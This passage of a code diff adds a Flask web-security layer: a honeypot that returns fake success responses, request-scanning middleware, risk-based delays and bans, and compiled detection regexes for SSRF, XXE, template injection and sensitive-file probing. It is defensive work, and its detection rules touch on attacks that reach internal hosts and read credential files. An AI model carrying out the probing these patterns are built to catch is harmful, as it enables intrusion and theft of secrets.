SSRF_INTERNAL_IP_URL_RE = re.compile(SSRF_INTERNAL_IP_URL_PATTERN, _FLAGS)
|
||||
SSRF_DANGEROUS_PROTOCOL_RE = re.compile(SSRF_DANGEROUS_PROTOCOL_PATTERN, _FLAGS)
|
||||
|
||||
XXE_DOCTYPE_RE = re.compile(XXE_DOCTYPE_PATTERN, _FLAGS)
|
||||
XXE_ENTITY_RE = re.compile(XXE_ENTITY_PATTERN, _FLAGS)
|
||||
XXE_SYSTEM_PUBLIC_RE = re.compile(XXE_SYSTEM_PUBLIC_PATTERN, _FLAGS)
|
||||
|
||||
TEMPLATE_JINJA_EXPR_RE = re.compile(TEMPLATE_JINJA_EXPR_PATTERN, _FLAGS)
|
||||
TEMPLATE_JINJA_STMT_RE = re.compile(TEMPLATE_JINJA_STMT_PATTERN, _FLAGS)
|
||||
TEMPLATE_VELOCITY_DIRECTIVE_RE = re.compile(TEMPLATE_VELOCITY_DIRECTIVE_PATTERN, _FLAGS)
|
||||
|
||||
SENSITIVE_PATH_DOTFILES_RE = re.compile(SENSITIVE_PATH_DOTFILES_PATTERN, _FLAGS)
|
||||
SENSITIVE_PATH_PROBE_RE = re.compile(SENSITIVE_PATH_PROBE_PATTERN, _FLAGS)
|
||||
126
security/honeypot.py
Normal file
126
security/honeypot.py
Normal file
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
import random
|
||||
import uuid
|
||||
from typing import Any, Optional
|
||||
|
||||
from app_logger import get_logger
|
||||
|
||||
|
||||
class HoneypotResponder:
|
||||
"""蜜罐响应生成器 - 返回假成功响应,欺骗攻击者"""
|
||||
|
||||
def __init__(self, *, rng: Optional[random.Random] = None) -> None:
|
||||
self._rng = rng or random.SystemRandom()
|
||||
self._logger = get_logger("app")
|
||||
|
||||
def generate_fake_response(self, endpoint: str, original_data: dict = None) -> dict:
|
||||
"""
|
||||
根据端点生成假的成功响应
|
||||
|
||||
策略:
|
||||
- 邮件发送类: {"success": True, "message": "邮件已发送"}
|
||||
- 注册类: {"success": True, "user_id": fake_uuid}
|
||||
- 登录类: {"success": True} 但不设置session
|
||||
- 通用: {"success": True, "message": "操作成功"}
|
||||
"""
|
||||
endpoint_text = str(endpoint or "").strip()
|
||||
endpoint_lc = endpoint_text.lower()
|
||||
|
||||
category = self._classify_endpoint(endpoint_lc)
|
||||
response: dict[str, Any] = {"success": True}
|
||||
|
||||
if category == "email":
|
||||
response["message"] = "邮件已发送"
|
||||
elif category == "register":
|
||||
response["user_id"] = str(uuid.uuid4())
|
||||
elif category == "login":
|
||||
# 登录类:保持正常成功响应,但不进行任何 session / token 设置(调用方负责不写 session)
|
||||
pass
|
||||
else:
|
||||
response["message"] = "操作成功"
|
||||
|
||||
response = self._merge_safe_fields(response, original_data)
|
||||
|
||||
self._logger.warning(
|
||||
"蜜罐响应已生成: endpoint=%s, category=%s, keys=%s",
|
||||
endpoint_text[:256],
|
||||
category,
|
||||
sorted(response.keys()),
|
||||
)
|
||||
return response
|
||||
|
||||
def should_use_honeypot(self, risk_score: int) -> bool:
|
||||
"""风险分>=80使用蜜罐响应"""
|
||||
score = self._normalize_risk_score(risk_score)
|
||||
use = score >= 80
|
||||
self._logger.debug("蜜罐判定: risk_score=%s => %s", score, use)
|
||||
return use
|
||||
|
||||
def delay_response(self, risk_score: int) -> float:
|
||||
"""
|
||||
根据风险分计算延迟时间
|
||||
0-20: 0秒
|
||||
21-50: 随机0.5-1秒
|
||||
51-80: 随机1-3秒
|
||||
81-100: 随机3-8秒(蜜罐模式额外延迟消耗攻击者时间)
|
||||
"""
|
||||
score = self._normalize_risk_score(risk_score)
|
||||
|
||||
delay = 0.0
|
||||
if score <= 20:
|
||||
delay = 0.0
|
||||
elif score <= 50:
|
||||
delay = float(self._rng.uniform(0.5, 1.0))
|
||||
elif score <= 80:
|
||||
delay = float(self._rng.uniform(1.0, 3.0))
|
||||
else:
|
||||
delay = float(self._rng.uniform(3.0, 8.0))
|
||||
|
||||
self._logger.debug("蜜罐延迟计算: risk_score=%s => delay_seconds=%.3f", score, delay)
|
||||
return delay
|
||||
|
||||
# ==================== Internal ====================
|
||||
|
||||
def _normalize_risk_score(self, risk_score: Any) -> int:
|
||||
try:
|
||||
score = int(risk_score)
|
||||
except Exception:
|
||||
score = 0
|
||||
return max(0, min(100, score))
|
||||
|
||||
def _classify_endpoint(self, endpoint_lc: str) -> str:
|
||||
if not endpoint_lc:
|
||||
return "generic"
|
||||
|
||||
# 先匹配更具体的:注册 / 登录
|
||||
if any(k in endpoint_lc for k in ["/register", "register", "signup", "sign-up"]):
|
||||
return "register"
|
||||
if any(k in endpoint_lc for k in ["/login", "login", "signin", "sign-in"]):
|
||||
return "login"
|
||||
|
||||
# 邮件相关:发送验证码 / 重置密码 / 重发验证等
|
||||
if any(k in endpoint_lc for k in ["email", "mail", "forgot-password", "reset-password", "resend-verify"]):
|
||||
return "email"
|
||||
|
||||
return "generic"
|
||||
|
||||
def _merge_safe_fields(self, base: dict, original_data: Optional[dict]) -> dict:
|
||||
if not isinstance(original_data, dict) or not original_data:
|
||||
return base
|
||||
|
||||
# 避免把攻击者输入或真实业务结果回显得太明显;仅合并少量“形状字段”
|
||||
safe_bool_keys = {"need_verify", "need_captcha"}
|
||||
|
||||
merged = dict(base)
|
||||
for key in safe_bool_keys:
|
||||
if key in original_data and key not in merged:
|
||||
try:
|
||||
merged[key] = bool(original_data.get(key))
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
return merged
|
||||
|
||||
307
security/middleware.py
Normal file
307
security/middleware.py
Normal file
@@ -0,0 +1,307 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from typing import Optional
|
||||
|
||||
from flask import g, jsonify, request
|
||||
from flask_login import current_user
|
||||
|
||||
from app_logger import get_logger
|
||||
from app_security import get_rate_limit_ip
|
||||
|
||||
from .blacklist import BlacklistManager
|
||||
from .honeypot import HoneypotResponder
|
||||
from .response_handler import ResponseAction, ResponseHandler, ResponseStrategy
|
||||
from .risk_scorer import RiskScorer
|
||||
from .threat_detector import ThreatDetector, ThreatResult
|
||||
|
||||
# 全局实例(保持单例,避免重复初始化开销)
|
||||
detector = ThreatDetector()
|
||||
blacklist = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=blacklist)
|
||||
handler: Optional[ResponseHandler] = None
|
||||
honeypot: Optional[HoneypotResponder] = None
|
||||
|
||||
|
||||
def _get_handler() -> ResponseHandler:
|
||||
global handler
|
||||
if handler is None:
|
||||
handler = ResponseHandler()
|
||||
return handler
|
||||
|
||||
|
||||
def _get_honeypot() -> HoneypotResponder:
|
||||
global honeypot
|
||||
if honeypot is None:
|
||||
honeypot = HoneypotResponder()
|
||||
return honeypot
|
||||
|
||||
|
||||
def _get_security_log_level(app) -> int:
|
||||
level_name = str(getattr(app, "config", {}).get("SECURITY_LOG_LEVEL", "INFO") or "INFO").upper()
|
||||
return int(getattr(logging, level_name, logging.INFO))
|
||||
|
||||
|
||||
def _log(app, level: int, message: str, *args, exc_info: bool = False) -> None:
|
||||
"""按 SECURITY_LOG_LEVEL 控制安全日志输出,避免过多日志影响性能。"""
|
||||
try:
|
||||
logger = get_logger("app")
|
||||
min_level = _get_security_log_level(app)
|
||||
if int(level) >= int(min_level):
|
||||
logger.log(int(level), message, *args, exc_info=exc_info)
|
||||
except Exception:
|
||||
# 安全模块日志故障不得影响正常请求
|
||||
return
|
||||
|
||||
|
||||
def _is_static_request(app) -> bool:
|
||||
"""对静态文件请求跳过安全检查以提升性能。"""
|
||||
try:
|
||||
path = str(getattr(request, "path", "") or "")
|
||||
except Exception:
|
||||
path = ""
|
||||
|
||||
if path.startswith("/static/"):
|
||||
return True
|
||||
|
||||
try:
|
||||
static_url_path = getattr(app, "static_url_path", None) or "/static"
|
||||
if static_url_path and path.startswith(str(static_url_path).rstrip("/") + "/"):
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
endpoint = getattr(request, "endpoint", None)
|
||||
if endpoint in {"static", "serve_static"}:
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def _safe_get_user_id() -> Optional[int]:
|
||||
try:
|
||||
if hasattr(current_user, "is_authenticated") and current_user.is_authenticated:
|
||||
return getattr(current_user, "id", None)
|
||||
except Exception:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
def _scan_request_threats(req) -> list[ThreatResult]:
|
||||
"""仅扫描 GET query 与 POST JSON body(降低开销与误报)。"""
|
||||
threats: list[ThreatResult] = []
|
||||
|
||||
try:
|
||||
# 1) Query 参数(所有方法均可能携带 query string)
|
||||
try:
|
||||
args = getattr(req, "args", None)
|
||||
if args:
|
||||
# MultiDict -> dict(list) 以保留多值
|
||||
args_dict = args.to_dict(flat=False) if hasattr(args, "to_dict") else dict(args)
|
||||
threats.extend(detector.scan_input(args_dict, "args"))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2) JSON body(主要针对 POST;其他方法保持兼容)
|
||||
try:
|
||||
method = str(getattr(req, "method", "") or "").upper()
|
||||
except Exception:
|
||||
method = ""
|
||||
|
||||
if method in {"POST", "PUT", "PATCH", "DELETE"}:
|
||||
try:
|
||||
data = req.get_json(silent=True) if hasattr(req, "get_json") else None
|
||||
except Exception:
|
||||
data = None
|
||||
if data is not None:
|
||||
threats.extend(detector.scan_input(data, "json"))
|
||||
except Exception:
|
||||
# 扫描失败不应阻断业务
|
||||
return []
|
||||
|
||||
threats.sort(key=lambda t: int(getattr(t, "score", 0) or 0), reverse=True)
|
||||
return threats
|
||||
|
||||
|
||||
def init_security_middleware(app):
|
||||
"""初始化安全中间件到 Flask 应用。"""
|
||||
try:
|
||||
scorer.auto_ban_enabled = bool(app.config.get("AUTO_BAN_ENABLED", True))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@app.before_request
|
||||
def security_check():
|
||||
if not bool(app.config.get("SECURITY_ENABLED", True)):
|
||||
return None
|
||||
if _is_static_request(app):
|
||||
return None
|
||||
|
||||
try:
|
||||
ip = get_rate_limit_ip()
|
||||
except Exception:
|
||||
ip = getattr(request, "remote_addr", "") or ""
|
||||
|
||||
user_id = _safe_get_user_id()
|
||||
|
||||
# 默认值,确保后续逻辑可用
|
||||
g.risk_score = 0
|
||||
g.response_strategy = ResponseStrategy(action=ResponseAction.ALLOW)
|
||||
g.honeypot_mode = False
|
||||
g.honeypot_endpoint = None
|
||||
g.honeypot_generated = False
|
||||
|
||||
try:
|
||||
# 1) 检查黑名单(静默拒绝,返回通用错误)
|
||||
try:
|
||||
if blacklist.is_ip_banned(ip):
|
||||
_log(app, logging.WARNING, "安全拦截: IP封禁命中 ip=%s path=%s", ip, request.path[:256])
|
||||
return jsonify({"error": "服务暂时繁忙,请稍后重试"}), 503
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "黑名单检查失败(ip) ip=%s", ip, exc_info=True)
|
||||
|
||||
try:
|
||||
if user_id is not None and blacklist.is_user_banned(user_id):
|
||||
_log(app, logging.WARNING, "安全拦截: 用户封禁命中 user_id=%s path=%s", user_id, request.path[:256])
|
||||
return jsonify({"error": "服务暂时繁忙,请稍后重试"}), 503
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "黑名单检查失败(user) user_id=%s", user_id, exc_info=True)
|
||||
|
||||
# 2) 扫描威胁(GET query / POST JSON)
|
||||
threats = _scan_request_threats(request)
|
||||
|
||||
if threats:
|
||||
max_threat = threats[0]
|
||||
_log(
|
||||
app,
|
||||
logging.WARNING,
|
||||
"威胁检测: ip=%s user_id=%s type=%s score=%s field=%s rule=%s",
|
||||
ip,
|
||||
user_id,
|
||||
getattr(max_threat, "threat_type", "unknown"),
|
||||
getattr(max_threat, "score", 0),
|
||||
getattr(max_threat, "field_name", ""),
|
||||
getattr(max_threat, "rule", ""),
|
||||
)
|
||||
|
||||
# 记录威胁事件(异常不应阻断业务)
|
||||
try:
|
||||
payload = getattr(max_threat, "value_preview", "") or getattr(max_threat, "matched", "") or ""
|
||||
scorer.record_threat(
|
||||
ip=ip,
|
||||
user_id=user_id,
|
||||
threat_type=getattr(max_threat, "threat_type", "unknown"),
|
||||
score=int(getattr(max_threat, "score", 0) or 0),
|
||||
request_path=getattr(request, "path", None),
|
||||
payload=str(payload)[:500] if payload else None,
|
||||
)
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "威胁事件记录失败 ip=%s user_id=%s", ip, user_id, exc_info=True)
|
||||
|
||||
# 高危威胁启用蜜罐模式
|
||||
if bool(app.config.get("HONEYPOT_ENABLED", True)):
|
||||
try:
|
||||
if int(getattr(max_threat, "score", 0) or 0) >= 80:
|
||||
g.honeypot_mode = True
|
||||
g.honeypot_endpoint = getattr(request, "endpoint", None)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 3) 综合风险分与响应策略
|
||||
try:
|
||||
risk_score = scorer.get_combined_score(ip, user_id)
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "风险分计算失败 ip=%s user_id=%s", ip, user_id, exc_info=True)
|
||||
risk_score = 0
|
||||
|
||||
try:
|
||||
strategy = _get_handler().get_strategy(risk_score)
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "响应策略计算失败 risk_score=%s", risk_score, exc_info=True)
|
||||
strategy = ResponseStrategy(action=ResponseAction.ALLOW)
|
||||
|
||||
g.risk_score = int(risk_score or 0)
|
||||
g.response_strategy = strategy
|
||||
|
||||
# 风险分触发蜜罐模式(兼容 ResponseHandler 的 HONEYPOT 策略)
|
||||
if bool(app.config.get("HONEYPOT_ENABLED", True)):
|
||||
try:
|
||||
if getattr(strategy, "action", None) == ResponseAction.HONEYPOT:
|
||||
g.honeypot_mode = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 4) 应用延迟
|
||||
try:
|
||||
if float(getattr(strategy, "delay_seconds", 0) or 0) > 0:
|
||||
_get_handler().apply_delay(strategy)
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "延迟应用失败", exc_info=True)
|
||||
|
||||
# 优先短路:避免业务 side effects(例如发送邮件/修改状态)
|
||||
if getattr(g, "honeypot_mode", False) and bool(app.config.get("HONEYPOT_ENABLED", True)):
|
||||
try:
|
||||
fake_payload = None
|
||||
try:
|
||||
fake_payload = request.get_json(silent=True)
|
||||
except Exception:
|
||||
fake_payload = None
|
||||
fake_response = _get_honeypot().generate_fake_response(
|
||||
getattr(g, "honeypot_endpoint", "default"),
|
||||
fake_payload if isinstance(fake_payload, dict) else None,
|
||||
)
|
||||
g.honeypot_generated = True
|
||||
return jsonify(fake_response), 200
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "蜜罐响应生成失败", exc_info=True)
|
||||
return None
|
||||
except Exception:
|
||||
# 全局兜底:安全模块任何异常都不能阻断正常请求
|
||||
_log(app, logging.ERROR, "安全中间件发生异常", exc_info=True)
|
||||
return None
|
||||
|
||||
return None # 继续正常处理
|
||||
|
||||
@app.after_request
|
||||
def security_response(response):
|
||||
"""请求后处理 - 兜底应用蜜罐响应。"""
|
||||
if not bool(app.config.get("SECURITY_ENABLED", True)):
|
||||
return response
|
||||
if not bool(app.config.get("HONEYPOT_ENABLED", True)):
|
||||
return response
|
||||
|
||||
try:
|
||||
if _is_static_request(app):
|
||||
return response
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 如果在 before_request 已经生成过蜜罐响应,则不再覆盖,避免丢失其他 after_request 的改动
|
||||
try:
|
||||
if getattr(g, "honeypot_generated", False):
|
||||
return response
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
if getattr(g, "honeypot_mode", False):
|
||||
fake_payload = None
|
||||
try:
|
||||
fake_payload = request.get_json(silent=True)
|
||||
except Exception:
|
||||
fake_payload = None
|
||||
fake_response = _get_honeypot().generate_fake_response(
|
||||
getattr(g, "honeypot_endpoint", "default"),
|
||||
fake_payload if isinstance(fake_payload, dict) else None,
|
||||
)
|
||||
return jsonify(fake_response), 200
|
||||
except Exception:
|
||||
_log(app, logging.ERROR, "请求后蜜罐覆盖失败", exc_info=True)
|
||||
return response
|
||||
|
||||
return response
|
||||
131
security/response_handler.py
Normal file
131
security/response_handler.py
Normal file
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
import random
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
from typing import Any, Optional
|
||||
|
||||
from app_logger import get_logger
|
||||
|
||||
|
||||
class ResponseAction(Enum):
|
||||
ALLOW = "allow" # 正常放行
|
||||
ENHANCE_CAPTCHA = "enhance_captcha" # 增强验证码
|
||||
DELAY = "delay" # 静默延迟
|
||||
HONEYPOT = "honeypot" # 蜜罐响应
|
||||
BLOCK = "block" # 直接拒绝
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResponseStrategy:
|
||||
action: ResponseAction
|
||||
delay_seconds: float = 0
|
||||
captcha_level: int = 1 # 1=普通4位, 2=6位, 3=滑块
|
||||
message: str | None = None
|
||||
|
||||
|
||||
class ResponseHandler:
|
||||
"""响应策略处理器"""
|
||||
|
||||
def __init__(self, *, rng: Optional[random.Random] = None) -> None:
|
||||
self._rng = rng or random.SystemRandom()
|
||||
self._logger = get_logger("app")
|
||||
|
||||
def get_strategy(self, risk_score: int, is_banned: bool = False) -> ResponseStrategy:
|
||||
"""
|
||||
根据风险分获取响应策略
|
||||
|
||||
0-20分: ALLOW, 无延迟, 普通验证码
|
||||
21-40分: ALLOW, 无延迟, 6位验证码
|
||||
41-60分: DELAY, 1-2秒延迟
|
||||
61-80分: DELAY, 2-5秒延迟
|
||||
81-100分: HONEYPOT, 3-8秒延迟
|
||||
已封禁: BLOCK
|
||||
"""
|
||||
score = self._normalize_risk_score(risk_score)
|
||||
|
||||
if is_banned:
|
||||
strategy = ResponseStrategy(action=ResponseAction.BLOCK, message="访问被拒绝")
|
||||
self._logger.warning("响应策略: BLOCK (banned=%s, risk_score=%s)", is_banned, score)
|
||||
return strategy
|
||||
|
||||
if score <= 20:
|
||||
strategy = ResponseStrategy(action=ResponseAction.ALLOW, delay_seconds=0, captcha_level=1)
|
||||
elif score <= 40:
|
||||
strategy = ResponseStrategy(action=ResponseAction.ALLOW, delay_seconds=0, captcha_level=2)
|
||||
elif score <= 60:
|
||||
strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=float(self._rng.uniform(1.0, 2.0)))
|
||||
elif score <= 80:
|
||||
strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=float(self._rng.uniform(2.0, 5.0)))
|
||||
else:
|
||||
strategy = ResponseStrategy(action=ResponseAction.HONEYPOT, delay_seconds=float(self._rng.uniform(3.0, 8.0)))
|
||||
|
||||
strategy.captcha_level = self._normalize_captcha_level(strategy.captcha_level)
|
||||
|
||||
self._logger.info(
|
||||
"响应策略: action=%s risk_score=%s delay=%.3f captcha_level=%s",
|
||||
strategy.action.value,
|
||||
score,
|
||||
float(strategy.delay_seconds or 0),
|
||||
int(strategy.captcha_level),
|
||||
)
|
||||
return strategy
|
||||
|
||||
def apply_delay(self, strategy: ResponseStrategy):
|
||||
"""应用延迟(使用time.sleep)"""
|
||||
if strategy is None:
|
||||
return
|
||||
delay = 0.0
|
||||
try:
|
||||
delay = float(getattr(strategy, "delay_seconds", 0) or 0)
|
||||
except Exception:
|
||||
delay = 0.0
|
||||
|
||||
if delay <= 0:
|
||||
return
|
||||
|
||||
self._logger.debug("应用延迟: action=%s delay=%.3f", getattr(strategy.action, "value", strategy.action), delay)
|
||||
time.sleep(delay)
|
||||
|
||||
def get_captcha_requirement(self, strategy: ResponseStrategy) -> dict:
|
||||
"""返回验证码要求 {"required": True, "level": 2}"""
|
||||
level = 1
|
||||
try:
|
||||
level = int(getattr(strategy, "captcha_level", 1) or 1)
|
||||
except Exception:
|
||||
level = 1
|
||||
level = self._normalize_captcha_level(level)
|
||||
|
||||
required = True
|
||||
try:
|
||||
required = getattr(strategy, "action", None) != ResponseAction.BLOCK
|
||||
except Exception:
|
||||
required = True
|
||||
|
||||
payload = {"required": bool(required), "level": level}
|
||||
self._logger.debug("验证码要求: %s", payload)
|
||||
return payload
|
||||
|
||||
# ==================== Internal ====================
|
||||
|
||||
def _normalize_risk_score(self, risk_score: Any) -> int:
|
||||
try:
|
||||
score = int(risk_score)
|
||||
except Exception:
|
||||
score = 0
|
||||
return max(0, min(100, score))
|
||||
|
||||
def _normalize_captcha_level(self, level: Any) -> int:
|
||||
try:
|
||||
i = int(level)
|
||||
except Exception:
|
||||
i = 1
|
||||
if i <= 1:
|
||||
return 1
|
||||
if i == 2:
|
||||
return 2
|
||||
return 3
|
||||
|
||||
362
security/risk_scorer.py
Normal file
362
security/risk_scorer.py
Normal file
@@ -0,0 +1,362 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
import math
|
||||
from dataclasses import dataclass
|
||||
from datetime import timedelta
|
||||
from typing import Optional
|
||||
|
||||
import db_pool
|
||||
from db.utils import get_cst_now, get_cst_now_str, parse_cst_datetime
|
||||
|
||||
from . import constants as C
|
||||
from .blacklist import BlacklistManager
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class _ScoreUpdateResult:
|
||||
ip_score: int
|
||||
user_score: int
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class _BanAction:
|
||||
reason: str
|
||||
duration_hours: Optional[int] = None
|
||||
permanent: bool = False
|
||||
|
||||
|
||||
class RiskScorer:
|
||||
"""风险评分引擎 - 计算IP和用户的风险分数"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
auto_ban_enabled: bool = True,
|
||||
auto_ban_duration_hours: int = 24,
|
||||
high_risk_threshold: int = 80,
|
||||
high_risk_window_hours: int = 1,
|
||||
high_risk_permanent_ban_count: int = 3,
|
||||
blacklist_manager: Optional[BlacklistManager] = None,
|
||||
) -> None:
|
||||
self.auto_ban_enabled = bool(auto_ban_enabled)
|
||||
self.auto_ban_duration_hours = max(1, int(auto_ban_duration_hours))
|
||||
self.high_risk_threshold = max(0, int(high_risk_threshold))
|
||||
self.high_risk_window_hours = max(1, int(high_risk_window_hours))
|
||||
self.high_risk_permanent_ban_count = max(1, int(high_risk_permanent_ban_count))
|
||||
self.blacklist = blacklist_manager or BlacklistManager()
|
||||
|
||||
def get_ip_score(self, ip_address: str) -> int:
|
||||
"""获取IP风险分(0-100),从数据库读取"""
|
||||
ip_text = str(ip_address or "").strip()[:64]
|
||||
if not ip_text:
|
||||
return 0
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT risk_score FROM ip_risk_scores WHERE ip = ?", (ip_text,))
|
||||
row = cursor.fetchone()
|
||||
if not row:
|
||||
return 0
|
||||
try:
|
||||
return max(0, min(100, int(row["risk_score"])))
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
def get_user_score(self, user_id: int) -> int:
|
||||
"""获取用户风险分(0-100)"""
|
||||
if user_id is None:
|
||||
return 0
|
||||
user_id_int = int(user_id)
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT risk_score FROM user_risk_scores WHERE user_id = ?", (user_id_int,))
|
||||
row = cursor.fetchone()
|
||||
if not row:
|
||||
return 0
|
||||
try:
|
||||
return max(0, min(100, int(row["risk_score"])))
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
def get_combined_score(self, ip: str, user_id: int = None) -> int:
|
||||
"""综合风险分 = max(IP分, 用户分) + 行为加成"""
|
||||
base = max(self.get_ip_score(ip), self.get_user_score(user_id) if user_id is not None else 0)
|
||||
bonus = self._get_behavior_bonus(ip, user_id)
|
||||
return max(0, min(100, int(base + bonus)))
|
||||
|
||||
def record_threat(
|
||||
self,
|
||||
ip: str,
|
||||
user_id: int,
|
||||
threat_type: str,
|
||||
score: int,
|
||||
request_path: str = None,
|
||||
payload: str = None,
|
||||
):
|
||||
"""记录威胁事件到数据库,并更新IP/用户风险分"""
|
||||
ip_text = str(ip or "").strip()[:64]
|
||||
user_id_int = int(user_id) if user_id is not None else None
|
||||
threat_type_text = str(threat_type or "").strip()[:64] or "unknown"
|
||||
score_int = max(0, int(score))
|
||||
path_text = str(request_path or "").strip()[:512] if request_path else None
|
||||
payload_text = str(payload or "").strip() if payload else None
|
||||
if payload_text and len(payload_text) > 2048:
|
||||
payload_text = payload_text[:2048]
|
||||
|
||||
now_str = get_cst_now_str()
|
||||
|
||||
ip_ban_action: Optional[_BanAction] = None
|
||||
user_ban_action: Optional[_BanAction] = None
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO threat_events (
|
||||
threat_type, score, ip, user_id, request_path, value_preview, created_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
""",
|
||||
(
|
||||
threat_type_text,
|
||||
score_int,
|
||||
ip_text or None,
|
||||
user_id_int,
|
||||
path_text,
|
||||
payload_text,
|
||||
now_str,
|
||||
),
|
||||
)
|
||||
|
||||
update = self._update_scores(cursor, ip_text, user_id_int, score_int, now_str)
|
||||
|
||||
if self.auto_ban_enabled:
|
||||
ip_ban_action, user_ban_action = self._get_auto_ban_actions(
|
||||
cursor,
|
||||
ip_text,
|
||||
user_id_int,
|
||||
threat_type_text,
|
||||
score_int,
|
||||
update,
|
||||
)
|
||||
|
||||
conn.commit()
|
||||
|
||||
if not self.auto_ban_enabled:
|
||||
return
|
||||
|
||||
if ip_ban_action and ip_text:
|
||||
self.blacklist.ban_ip(
|
||||
ip_text,
|
||||
reason=ip_ban_action.reason,
|
||||
duration_hours=ip_ban_action.duration_hours or self.auto_ban_duration_hours,
|
||||
permanent=ip_ban_action.permanent,
|
||||
)
|
||||
if user_ban_action and user_id_int is not None:
|
||||
self.blacklist._ban_user_internal(
|
||||
user_id_int,
|
||||
reason=user_ban_action.reason,
|
||||
duration_hours=user_ban_action.duration_hours or self.auto_ban_duration_hours,
|
||||
permanent=user_ban_action.permanent,
|
||||
)
|
||||
|
||||
def decay_scores(self):
|
||||
"""风险分衰减 - 定期调用,降低历史风险分"""
|
||||
now = get_cst_now()
|
||||
now_str = now.strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
|
||||
cursor.execute("SELECT ip, risk_score, updated_at, created_at FROM ip_risk_scores")
|
||||
for row in cursor.fetchall():
|
||||
ip = row["ip"]
|
||||
current_score = int(row["risk_score"] or 0)
|
||||
updated_at = row["updated_at"] or row["created_at"]
|
||||
hours = self._hours_since(updated_at, now)
|
||||
if hours <= 0:
|
||||
continue
|
||||
new_score = self._apply_hourly_decay(current_score, hours)
|
||||
if new_score == current_score:
|
||||
continue
|
||||
cursor.execute(
|
||||
"UPDATE ip_risk_scores SET risk_score = ?, updated_at = ? WHERE ip = ?",
|
||||
(new_score, now_str, ip),
|
||||
)
|
||||
|
||||
cursor.execute("SELECT user_id, risk_score, updated_at, created_at FROM user_risk_scores")
|
||||
for row in cursor.fetchall():
|
||||
user_id = int(row["user_id"])
|
||||
current_score = int(row["risk_score"] or 0)
|
||||
updated_at = row["updated_at"] or row["created_at"]
|
||||
hours = self._hours_since(updated_at, now)
|
||||
if hours <= 0:
|
||||
continue
|
||||
new_score = self._apply_hourly_decay(current_score, hours)
|
||||
if new_score == current_score:
|
||||
continue
|
||||
cursor.execute(
|
||||
"UPDATE user_risk_scores SET risk_score = ?, updated_at = ? WHERE user_id = ?",
|
||||
(new_score, now_str, user_id),
|
||||
)
|
||||
|
||||
conn.commit()
|
||||
|
||||
def _update_ip_score(self, ip: str, score_delta: int):
|
||||
"""更新IP风险分"""
|
||||
ip_text = str(ip or "").strip()[:64]
|
||||
if not ip_text:
|
||||
return
|
||||
delta = int(score_delta)
|
||||
now_str = get_cst_now_str()
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
self._update_scores(cursor, ip_text, None, delta, now_str)
|
||||
conn.commit()
|
||||
|
||||
def _update_user_score(self, user_id: int, score_delta: int):
|
||||
"""更新用户风险分"""
|
||||
if user_id is None:
|
||||
return
|
||||
user_id_int = int(user_id)
|
||||
delta = int(score_delta)
|
||||
now_str = get_cst_now_str()
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
self._update_scores(cursor, "", user_id_int, delta, now_str)
|
||||
conn.commit()
|
||||
|
||||
def _update_scores(
|
||||
self,
|
||||
cursor,
|
||||
ip: str,
|
||||
user_id: Optional[int],
|
||||
score_delta: int,
|
||||
now_str: str,
|
||||
) -> _ScoreUpdateResult:
|
||||
ip_score = 0
|
||||
user_score = 0
|
||||
|
||||
if ip:
|
||||
cursor.execute("SELECT risk_score FROM ip_risk_scores WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
current = int(row["risk_score"]) if row else 0
|
||||
ip_score = max(0, min(100, current + int(score_delta)))
|
||||
if row:
|
||||
cursor.execute(
|
||||
"UPDATE ip_risk_scores SET risk_score = ?, last_seen = ?, updated_at = ? WHERE ip = ?",
|
||||
(ip_score, now_str, now_str, ip),
|
||||
)
|
||||
else:
|
||||
cursor.execute(
|
||||
"""
|
||||
